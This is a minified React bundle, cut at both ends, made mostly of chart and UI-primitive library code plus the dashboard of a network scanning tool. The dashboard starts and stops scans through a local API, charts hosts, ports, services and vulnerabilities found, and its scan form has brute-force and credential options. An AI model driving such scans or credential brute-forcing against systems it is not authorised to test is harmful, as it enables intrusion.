t=="function"&&t(Q),R(Q),B(Q),Q!=null&&(j.current=Q)},[q,t,R,B]),ce=v.useCallback(Q=>{M(EI(Q)),M(ir({handler:l,reactEvent:Q}))},[M,l]),L=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:h,reactEvent:Q}))},[M,h]),F=v.useCallback(Q=>{M(gL()),M(ir({handler:p,reactEvent:Q}))},[M,p]),$=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:m,reactEvent:Q}))},[M,m]),Z=v.useCallback(()=>{M(MI())},[M]),de=v.useCallback(Q=>{M(NI(Q.key))},[M]),D=v.useCallback(Q=>{M(ir({handler:c,reactEvent:Q}))},[M,c]),X=v.useCallback(Q=>{M(ir({handler:u,reactEvent:Q}))},[M,u]),ae=v.useCallback(Q=>{M(ir({handler:f,reactEvent:Q}))},[M,f]),se=v.useCallback(Q=>{M(ir({handler:y,reactEvent:Q}))},[M,y]),me=v.useCallback(Q=>{M(ir({handler:w,reactEvent:Q}))},[M,w]),xe=v.useCallback(Q=>{T&&M(PI(Q)),M(ir({handler:S,reactEvent:Q}))},[M,T,S]),ee=v.useCallback(Q=>{M(ir({handler:x,reactEvent:Q}))},[M,x]),_e=Qoe(_);return v.createElement(LL.Provider,{value:P},v.createElement(_q.Provider,{value:I},v.createElement(_e,{width:V??O?.width,height:oe??O?.height,className:Ye("recharts-wrapper",r),style:qoe({position:"relative",cursor:"default",width:V,height:oe},O),onClick:ce,onContextMenu:D,onDoubleClick:X,onFocus:Z,onKeyDown:de,onMouseDown:ae,onMouseEnter:L,onMouseLeave:F,onMouseMove:$,onMouseUp:se,onTouchEnd:ee,onTouchMove:xe,onTouchStart:me,ref:le},v.createElement(Yoe,null),n)))}),ele=["width","height","responsive","children","className","style","compact","title","desc"];function tle(e,t){if(e==null)return{};var n,r,i=nle(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:l,className:c,style:u,compact:f,title:h,desc:p}=e,m=tle(e,ele),y=Ur(m);return f?v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement(J2,{otherAttributes:y,title:h,desc:p},l)):v.createElement(Joe,{className:c,style:u,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},v.createElement(J2,{otherAttributes:y,title:h,desc:p,ref:t},v.createElement(fae,null,l)))});function wb(){return wb=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.createElement(ile,{chartName:"BarChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:ole,tooltipPayloadSearcher:IL,categoricalChartProps:e,ref:t}));function sle(e){var t=ft();return v.useEffect(()=>{t(Noe(e))},[t,e]),null}var cle=["layout"];function Sb(){return Sb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=pn(e,yle);return v.createElement(hle,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:gle,tooltipPayloadSearcher:IL,categoricalChartProps:n,ref:t})});function ble(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c);u.displayName=l+"Context";const f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,xle(i,...t)]}function xle(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],BI=wle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),Z1="Progress",Q1=100,[Sle]=ble(Z1),[Ole,Ele]=Sle(Z1),UI=v.forwardRef((e,t)=>{const{__scopeProgress:n,value:r=null,max:i,getValueLabel:l=Ale,...c}=e;(i||i===0)&&!rM(i)&&console.error(Cle(`${i}`,"Progress"));const u=rM(i)?i:Q1;r!==null&&!aM(r,u)&&console.error(_le(`${r}`,"Progress"));const f=aM(r,u)?r:null,h=yh(f)?l(f,u):void 0;return E.jsx(Ole,{scope:n,value:f,max:u,children:E.jsx(BI.div,{"aria-valuemax":u,"aria-valuemin":0,"aria-valuenow":yh(f)?f:void 0,"aria-valuetext":h,role:"progressbar","data-state":FI(f,u),"data-value":f??void 0,"data-max":u,...c,ref:t})})});UI.displayName=Z1;var HI="ProgressIndicator",qI=v.forwardRef((e,t)=>{const{__scopeProgress:n,...r}=e,i=Ele(HI,n);return E.jsx(BI.div,{"data-state":FI(i.value,i.max),"data-value":i.value??void 0,"data-max":i.max,...r,ref:t})});qI.displayName=HI;function Ale(e,t){return`${Math.round(e/t*100)}%`}function FI(e,t){return e==null?"indeterminate":e===t?"complete":"loading"}function yh(e){return typeof e=="number"}function rM(e){return yh(e)&&!isNaN(e)&&e>0}function aM(e,t){return yh(e)&&!isNaN(e)&&e<=t&&e>=0}function Cle(e,t){return`Invalid prop \`max\` of value \`${e}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${Q1}\`.`}function _le(e,t){return`Invalid prop \`value\` of value \`${e}\` supplied to \`${t}\`. The \`value\` prop must be: - - a positive number - - less than the value passed to \`max\` (or ${Q1} if no \`max\` prop is set) - - \`null\` or \`undefined\` if the progress is indeterminate. - -Defaulting to \`null\`.`}var VI=UI,Tle=qI;const KI=v.forwardRef(({className:e,value:t,...n},r)=>E.jsx(VI,{ref:r,className:Ee("relative h-2 w-full overflow-hidden rounded-full bg-secondary",e),...n,children:E.jsx(Tle,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(t||0)}%)`}})}));KI.displayName=VI.displayName;const YI=v.createContext(null);function Nle(){const e=v.useContext(YI);if(!e)throw new Error("useChart must be used within a ");return e}const bh=v.forwardRef(({id:e,className:t,children:n,config:r,...i},l)=>{const c=v.useId(),u=`chart-${e||c.replace(/:/g,"")}`;return E.jsx(YI.Provider,{value:{config:r},children:E.jsx("div",{"data-chart":u,ref:l,className:Ee("flex aspect-video justify-center text-xs [&_.recharts-cartesian-axis-tick_text]:fill-muted-foreground [&_.recharts-cartesian-grid_line[stroke='#ccc']]:stroke-border/50 [&_.recharts-curve.recharts-tooltip-cursor]:stroke-border [&_.recharts-dot[stroke='#fff']]:stroke-transparent [&_.recharts-layer]:outline-none [&_.recharts-polar-grid_[stroke='#ccc']]:stroke-border [&_.recharts-radial-bar-background-sector]:fill-muted [&_.recharts-rectangle.recharts-tooltip-cursor]:fill-muted [&_.recharts-reference-line_[stroke='#ccc']]:stroke-border [&_.recharts-sector[stroke='#fff']]:stroke-transparent [&_.recharts-sector]:outline-none [&_.recharts-surface]:outline-none",t),...i,children:E.jsx(pY,{children:n})})})});bh.displayName="Chart";const Ob=nte,xh=v.forwardRef(({active:e,payload:t,className:n,indicator:r="dot",hideLabel:i=!1,hideIndicator:l=!1,label:c,labelFormatter:u,formatter:f,nameKey:h,labelKey:p},m)=>{const{config:y}=Nle(),x=v.useMemo(()=>{if(i||!t?.length)return null;const[w]=t,O=`${p||w?.dataKey||w?.name||"value"}`,_=y[O]?.label||c;return u&&t?E.jsx("div",{className:"font-medium",children:u(_,t)}):_?E.jsx("div",{className:"font-medium",children:_}):null},[c,u,t,i,y,p]);if(!e||!t?.length)return null;const S=t.length===1&&r!=="dot";return E.jsxs("div",{ref:m,className:Ee("grid min-w-[8rem] items-start gap-1.5 rounded-lg border border-border/50 bg-background px-2.5 py-1.5 text-xs shadow-xl",n),children:[S?null:x,E.jsx("div",{className:"grid gap-1.5",children:t.map((w,O)=>{const A=`${h||w.name||w.dataKey||"value"}`,_=y[A],T=w.payload?.fill||w.fill||w.color;return E.jsx("div",{className:Ee("flex w-full flex-wrap items-stretch gap-2 [&>svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground",r==="dot"&&"items-center"),children:f&&w?.value!==void 0&&w.name?f(w.value,w.name,w,O,w.payload):E.jsxs(E.Fragment,{children:[_?.icon?E.jsx(_.icon,{}):!l&&E.jsx("div",{className:Ee("shrink-0 rounded-[2px]",{"h-2.5 w-2.5":r==="dot","w-1":r==="line","w-0 border-[1.5px] border-dashed bg-transparent":r==="dashed","my-0.5":S&&r==="dashed"}),style:{backgroundColor:T,borderColor:T}}),E.jsxs("div",{className:Ee("flex flex-1 justify-between leading-none",S?"items-end":"items-center"),children:[E.jsxs("div",{className:"grid gap-1.5",children:[S?x:null,E.jsx("span",{className:"text-muted-foreground",children:_?.label||w.name})]}),w.value!==void 0&&E.jsx("span",{className:"font-mono font-medium tabular-nums text-foreground",children:w.value.toLocaleString()})]})]})},w.dataKey||O)})})]})});xh.displayName="ChartTooltip";const ar={hosts:"hsl(var(--chart-1))",ports:"hsl(var(--chart-2))",services:"hsl(var(--chart-3))",vulns:"hsl(var(--chart-4))"};function Mle({status:e}){const{t}=xo(),n=e?.state==="running",r=e?.state==="stopping",i=v.useMemo(()=>e?.stats?[{name:t("statsHosts"),value:e.stats.hosts_scanned||0,fill:ar.hosts},{name:t("statsPorts"),value:e.stats.ports_scanned||0,fill:ar.ports},{name:t("statsServices"),value:e.stats.services_found||0,fill:ar.services},{name:t("statsVulns"),value:e.stats.vulns_found||0,fill:ar.vulns}].filter(f=>f.value>0):[],[e?.stats,t]),l={hosts:{label:t("statsHosts"),color:ar.hosts},ports:{label:t("statsPorts"),color:ar.ports},services:{label:t("statsServices"),color:ar.services},vulns:{label:t("statsVulns"),color:ar.vulns}},c=v.useMemo(()=>e?.stats?(e.stats.hosts_scanned||0)+(e.stats.ports_scanned||0)+(e.stats.services_found||0)+(e.stats.vulns_found||0):0,[e?.stats]),u=[{key:"hosts",label:t("statsHosts"),value:e?.stats.hosts_scanned||0,color:ar.hosts},{key:"ports",label:t("statsPorts"),value:e?.stats.ports_scanned||0,color:ar.ports},{key:"services",label:t("statsServices"),value:e?.stats.services_found||0,color:ar.services},{key:"vulns",label:t("statsVulns"),value:e?.stats.vulns_found||0,color:ar.vulns}];return E.jsxs(Gl,{className:"h-full",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsxs(ga,{variant:n?"default":r?"secondary":"outline",className:"gap-1",children:[n?E.jsx(yM,{className:"w-3 h-3"}):r?E.jsx(c0,{className:"w-3 h-3 animate-spin"}):E.jsx(xM,{className:"w-3 h-3"}),t(n?"scanRunning":r?"statusStopping":"statusIdle")]})]}),E.jsxs(Zl,{className:"space-y-6",children:[n&&E.jsxs("div",{className:"space-y-2",children:[E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsx("span",{className:"text-muted-foreground",children:t("loading")}),E.jsxs("span",{className:"font-mono text-primary text-lg",children:[e?.progress||0,"%"]})]}),E.jsx(KI,{value:e?.progress||0,className:"h-3"})]}),c>0?E.jsx("div",{className:"flex justify-center py-4",children:E.jsx(bh,{config:l,className:"h-[180px] w-[180px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:i,dataKey:"value",nameKey:"name",innerRadius:45,outerRadius:75,strokeWidth:3,stroke:"hsl(var(--background))",children:i.map((f,h)=>E.jsx(vo,{fill:f.fill},`cell-${h}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}):E.jsx(Vh,{icon:xd,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-8"}),E.jsx("div",{className:"space-y-3",children:u.map(f=>E.jsxs("div",{className:"flex items-center justify-between p-3 rounded-lg bg-muted/50",children:[E.jsxs("div",{className:"flex items-center gap-3",children:[E.jsx("div",{className:"w-4 h-4 rounded",style:{backgroundColor:f.color}}),E.jsx("span",{className:"text-muted-foreground",children:f.label})]}),E.jsx("span",{className:"font-mono font-semibold text-lg",children:f.value})]},f.key))}),E.jsx("div",{className:"pt-4 border-t",children:E.jsxs("div",{className:"flex items-center justify-between",children:[E.jsx("span",{className:"text-muted-foreground font-medium",children:t("items")}),E.jsx("span",{className:"font-mono font-bold text-2xl",children:c})]})})]})]})}const _o="/api";async function jle(e){const t=await fetch(`${_o}/scan/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!t.ok){const n=await t.json();throw new Error(n.error||"Failed to start scan")}return t.json()}async function Ple(){const e=await fetch(`${_o}/scan/stop`,{method:"POST"});if(!e.ok){const t=await e.json();throw new Error(t.error||"Failed to stop scan")}return e.json()}async function iM(){const e=await fetch(`${_o}/scan/status`);if(!e.ok)throw new Error("Failed to get scan status");return e.json()}async function Rle(e){const t=`${_o}/results`,n=await fetch(t);if(!n.ok)throw new Error("Failed to get results");return n.json()}async function Dle(e){const t=await fetch(`${_o}/results/export?format=${e}`);if(!t.ok)throw new Error("Failed to export results");return t.blob()}async function kle(){const e=await fetch(`${_o}/results/clear`,{method:"POST"});if(!e.ok)throw new Error("Failed to clear results");return e.json()}async function Lle(){const e=await fetch(`${_o}/config/presets`);if(!e.ok)throw new Error("Failed to get presets");return e.json()}const Ile={host:"",ports:"",scan_mode:"all",thread_num:600,timeout:3,disable_ping:!1,disable_brute:!1,alive_only:!1,username:"",password:"",domain:"",exclude_hosts:"",exclude_ports:""};function zle(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState(null),[i,l]=v.useState([]),[c,u]=v.useState(!1),[f,h]=v.useState(null),[p,m]=v.useState(Ile);v.useEffect(()=>{(async()=>{try{const[_,T]=await Promise.all([iM(),Lle()]);r(_),l(T)}catch(_){console.error("Failed to fetch data:",_)}})();const A=setInterval(async()=>{try{const _=await iM();r(_)}catch{}},2e3);return()=>clearInterval(A)},[]);const y=async()=>{if(!p.host){h(e("targetRequired"));return}u(!0),h(null),t();try{await jle(p)}catch(O){h(O instanceof Error?O.message:e("startScanFailed"))}finally{u(!1)}},x=async()=>{u(!0);try{await Ple()}catch(O){h(O instanceof Error?O.message:e("stopScanFailed"))}finally{u(!1)}},S=n?.state==="running",w=n?.state==="stopping";return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4 h-full",children:[E.jsxs("div",{className:"lg:col-span-7 flex flex-col gap-4 min-h-0",children:[E.jsx(tq,{formData:p,onFormChange:m,presets:i,isRunning:S,isStopping:w,loading:c,error:f,onStart:y,onStop:x}),E.jsx(GP,{})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx(Mle,{status:n})})]})})}var r0="rovingFocusGroup.onEntryFocus",$le={bubbles:!1,cancelable:!0},mu="RovingFocusGroup",[Eb,GI,Ble]=Kb(mu),[Ule,$p]=Fn(mu,[Ble]),[Hle,qle]=Ule(mu),WI=v.forwardRef((e,t)=>E.jsx(Eb.Provider,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Eb.Slot,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Fle,{...e,ref:t})})}));WI.displayName=mu;var Fle=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:i=!1,dir:l,currentTabStopId:c,defaultCurrentTabStopId:u,onCurrentTabStopIdChange:f,onEntryFocus:h,preventScrollOnEntryFocus:p=!1,...m}=e,y=v.useRef(null),x=De(t,y),S=Kc(l),[w,O]=Oa({prop:c,defaultProp:u??null,onChange:f,caller:mu}),[A,_]=v.useState(!1),T=en(h),j=GI(n),M=v.useRef(!1),[P,R]=v.useState(0);return v.useEffect(()=>{const I=y.current;if(I)return I.addEventListener(r0,T),()=>I.removeEventListener(r0,T)},[T]),E.jsx(Hle,{scope:n,orientation:r,dir:S,loop:i,currentTabStopId:w,onItemFocus:v.useCallback(I=>O(I),[O]),onItemShiftTab:v.useCallback(()=>_(!0),[]),onFocusableItemAdd:v.useCallback(()=>R(I=>I+1),[]),onFocusableItemRemove:v.useCallback(()=>R(I=>I-1),[]),children:E.jsx(Ce.div,{tabIndex:A||P===0?-1:0,"data-orientation":r,...m,ref:x,style:{outline:"none",...e.style},onMouseDown:ue(e.onMouseDown,()=>{M.current=!0}),onFocus:ue(e.onFocus,I=>{const B=!M.current;if(I.target===I.currentTarget&&B&&!A){const q=new CustomEvent(r0,$le);if(I.currentTarget.dispatchEvent(q),!q.defaultPrevented){const U=j().filter(L=>L.focusable),V=U.find(L=>L.active),oe=U.find(L=>L.id===w),ce=[V,oe,...U].filter(Boolean).map(L=>L.ref.current);QI(ce,p)}}M.current=!1}),onBlur:ue(e.onBlur,()=>_(!1))})})}),XI="RovingFocusGroupItem",ZI=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:i=!1,tabStopId:l,children:c,...u}=e,f=sr(),h=l||f,p=qle(XI,n),m=p.currentTabStopId===h,y=GI(n),{onFocusableItemAdd:x,onFocusableItemRemove:S,currentTabStopId:w}=p;return v.useEffect(()=>{if(r)return x(),()=>S()},[r,x,S]),E.jsx(Eb.ItemSlot,{scope:n,id:h,focusable:r,active:i,children:E.jsx(Ce.span,{tabIndex:m?0:-1,"data-orientation":p.orientation,...u,ref:t,onMouseDown:ue(e.onMouseDown,O=>{r?p.onItemFocus(h):O.preventDefault()}),onFocus:ue(e.onFocus,()=>p.onItemFocus(h)),onKeyDown:ue(e.onKeyDown,O=>{if(O.key==="Tab"&&O.shiftKey){p.onItemShiftTab();return}if(O.target!==O.currentTarget)return;const A=Yle(O,p.orientation,p.dir);if(A!==void 0){if(O.metaKey||O.ctrlKey||O.altKey||O.shiftKey)return;O.preventDefault();let T=y().filter(j=>j.focusable).map(j=>j.ref.current);if(A==="last")T.reverse();else if(A==="prev"||A==="next"){A==="prev"&&T.reverse();const j=T.indexOf(O.currentTarget);T=p.loop?Gle(T,j+1):T.slice(j+1)}setTimeout(()=>QI(T))}}),children:typeof c=="function"?c({isCurrentTabStop:m,hasTabStop:w!=null}):c})})});ZI.displayName=XI;var Vle={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function Kle(e,t){return t!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function Yle(e,t,n){const r=Kle(e.key,n);if(!(t==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(t==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return Vle[r]}function QI(e,t=!1){const n=document.activeElement;for(const r of e)if(r===n||(r.focus({preventScroll:t}),document.activeElement!==n))return}function Gle(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var JI=WI,e3=ZI,Bp="Tabs",[Wle]=Fn(Bp,[$p]),t3=$p(),[Xle,J1]=Wle(Bp),n3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,onValueChange:i,defaultValue:l,orientation:c="horizontal",dir:u,activationMode:f="automatic",...h}=e,p=Kc(u),[m,y]=Oa({prop:r,onChange:i,defaultProp:l??"",caller:Bp});return E.jsx(Xle,{scope:n,baseId:sr(),value:m,onValueChange:y,orientation:c,dir:p,activationMode:f,children:E.jsx(Ce.div,{dir:p,"data-orientation":c,...h,ref:t})})});n3.displayName=Bp;var r3="TabsList",a3=v.forwardRef((e,t)=>{const{__scopeTabs:n,loop:r=!0,...i}=e,l=J1(r3,n),c=t3(n);return E.jsx(JI,{asChild:!0,...c,orientation:l.orientation,dir:l.dir,loop:r,children:E.jsx(Ce.div,{role:"tablist","aria-orientation":l.orientation,...i,ref:t})})});a3.displayName=r3;var i3="TabsTrigger",o3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,disabled:i=!1,...l}=e,c=J1(i3,n),u=t3(n),f=c3(c.baseId,r),h=u3(c.baseId,r),p=r===c.value;return E.jsx(e3,{asChild:!0,...u,focusable:!i,active:p,children:E.jsx(Ce.button,{type:"button",role:"tab","aria-selected":p,"aria-controls":h,"data-state":p?"active":"inactive","data-disabled":i?"":void 0,disabled:i,id:f,...l,ref:t,onMouseDown:ue(e.onMouseDown,m=>{!i&&m.button===0&&m.ctrlKey===!1?c.onValueChange(r):m.preventDefault()}),onKeyDown:ue(e.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&c.onValueChange(r)}),onFocus:ue(e.onFocus,()=>{const m=c.activationMode!=="manual";!p&&!i&&m&&c.onValueChange(r)})})})});o3.displayName=i3;var l3="TabsContent",s3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,forceMount:i,children:l,...c}=e,u=J1(l3,n),f=c3(u.baseId,r),h=u3(u.baseId,r),p=r===u.value,m=v.useRef(p);return v.useEffect(()=>{const y=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(y)},[]),E.jsx(ln,{present:i||p,children:({present:y})=>E.jsx(Ce.div,{"data-state":p?"active":"inactive","data-orientation":u.orientation,role:"tabpanel","aria-labelledby":f,hidden:!y,id:h,tabIndex:0,...c,ref:t,style:{...e.style,animationDuration:m.current?"0s":void 0},children:y&&l})})});s3.displayName=l3;function c3(e,t){return`${e}-trigger-${t}`}function u3(e,t){return`${e}-content-${t}`}var Zle=n3,f3=a3,d3=o3,h3=s3;const Qle=Zle,p3=v.forwardRef(({className:e,...t},n)=>E.jsx(f3,{ref:n,className:Ee("inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground",e),...t}));p3.displayName=f3.displayName;const Ol=v.forwardRef(({className:e,...t},n)=>E.jsx(d3,{ref:n,className:Ee("inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm",e),...t}));Ol.displayName=d3.displayName;const m3=v.forwardRef(({className:e,...t},n)=>E.jsx(h3,{ref:n,className:Ee("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",e),...t}));m3.displayName=h3.displayName;var Jle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ese=Jle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),tse="Separator",oM="horizontal",nse=["horizontal","vertical"],v3=v.forwardRef((e,t)=>{const{decorative:n,orientation:r=oM,...i}=e,l=rse(r)?r:oM,u=n?{role:"none"}:{"aria-orientation":l==="vertical"?l:void 0,role:"separator"};return E.jsx(ese.div,{"data-orientation":l,...u,...i,ref:t})});v3.displayName=tse;function rse(e){return nse.includes(e)}var g3=v3;const y3=v.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...r},i)=>E.jsx(g3,{ref:i,decorative:n,orientation:t,className:Ee("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...r}));y3.displayName=g3.displayName;function ase(e){const t=ise(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(lse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function ise(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=cse(i),u=sse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var ose=Symbol("radix.slottable");function lse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===ose}function sse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function cse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Up="Dialog",[b3,x3]=Fn(Up),[use,_r]=b3(Up),w3=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:i,onOpenChange:l,modal:c=!0}=e,u=v.useRef(null),f=v.useRef(null),[h,p]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:Up});return E.jsx(use,{scope:t,triggerRef:u,contentRef:f,contentId:sr(),titleId:sr(),descriptionId:sr(),open:h,onOpenChange:p,onOpenToggle:v.useCallback(()=>p(m=>!m),[p]),modal:c,children:n})};w3.displayName=Up;var S3="DialogTrigger",O3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(S3,n),l=De(t,i.triggerRef);return E.jsx(Ce.button,{type:"button","aria-haspopup":"dialog","aria-expanded":i.open,"aria-controls":i.contentId,"data-state":nw(i.open),...r,ref:l,onClick:ue(e.onClick,i.onOpenToggle)})});O3.displayName=S3;var ew="DialogPortal",[fse,E3]=b3(ew,{forceMount:void 0}),A3=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:i}=e,l=_r(ew,t);return E.jsx(fse,{scope:t,forceMount:n,children:v.Children.map(r,c=>E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:c})}))})};A3.displayName=ew;var wh="DialogOverlay",C3=v.forwardRef((e,t)=>{const n=E3(wh,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(wh,e.__scopeDialog);return l.modal?E.jsx(ln,{present:r||l.open,children:E.jsx(hse,{...i,ref:t})}):null});C3.displayName=wh;var dse=ase("DialogOverlay.RemoveScroll"),hse=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(wh,n);return E.jsx(zh,{as:dse,allowPinchZoom:!0,shards:[i.contentRef],children:E.jsx(Ce.div,{"data-state":nw(i.open),...r,ref:t,style:{pointerEvents:"auto",...r.style}})})}),bo="DialogContent",_3=v.forwardRef((e,t)=>{const n=E3(bo,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(bo,e.__scopeDialog);return E.jsx(ln,{present:r||l.open,children:l.modal?E.jsx(pse,{...i,ref:t}):E.jsx(mse,{...i,ref:t})})});_3.displayName=bo;var pse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(null),i=De(t,n.contentRef,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(T3,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ue(e.onCloseAutoFocus,l=>{l.preventDefault(),n.triggerRef.current?.focus()}),onPointerDownOutside:ue(e.onPointerDownOutside,l=>{const c=l.detail.originalEvent,u=c.button===0&&c.ctrlKey===!0;(c.button===2||u)&&l.preventDefault()}),onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault())})}),mse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(!1),i=v.useRef(!1);return E.jsx(T3,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:l=>{e.onCloseAutoFocus?.(l),l.defaultPrevented||(r.current||n.triggerRef.current?.focus(),l.preventDefault()),r.current=!1,i.current=!1},onInteractOutside:l=>{e.onInteractOutside?.(l),l.defaultPrevented||(r.current=!0,l.detail.originalEvent.type==="pointerdown"&&(i.current=!0));const c=l.target;n.triggerRef.current?.contains(c)&&l.preventDefault(),l.detail.originalEvent.type==="focusin"&&i.current&&l.preventDefault()}})}),T3=v.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:i,onCloseAutoFocus:l,...c}=e,u=_r(bo,n),f=v.useRef(null),h=De(t,f);return 